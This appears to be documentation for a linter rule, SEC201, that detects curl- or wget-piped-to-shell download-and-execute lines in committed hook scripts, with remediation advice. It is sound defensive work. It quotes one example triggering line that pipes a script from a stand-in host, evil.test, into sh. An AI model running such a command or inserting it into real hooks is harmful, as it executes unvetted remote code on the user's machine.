Appearance
Why It Matters
Inline download-and-exec behavior lets a committed hook pull mutable remote code at runtime and execute it immediately. In hook scripts, that is a strong direct-execution signal rather than a docs-style suggestion.
What Triggers
SEC201 applies to executable hook script lines and triggers when the line combines:
- a remote download primitive such as
curlorwget - with a direct shell execution chain such as
| shor| bash - in actual hook shell content rather than prose text
Example that triggers:
sh
curl https://evil.test/install.sh | shExample that stays clean:
sh
./scripts/install-hook.shFalse Positives
This rule is intentionally narrow. It targets executable hook lines, not markdown examples or comments, so the false-positive envelope is low.
Remediation
Vendor or pin the script locally instead of downloading and executing it inline. The built-in suggestion removes the direct download-and-exec behavior rather than trying to preserve it.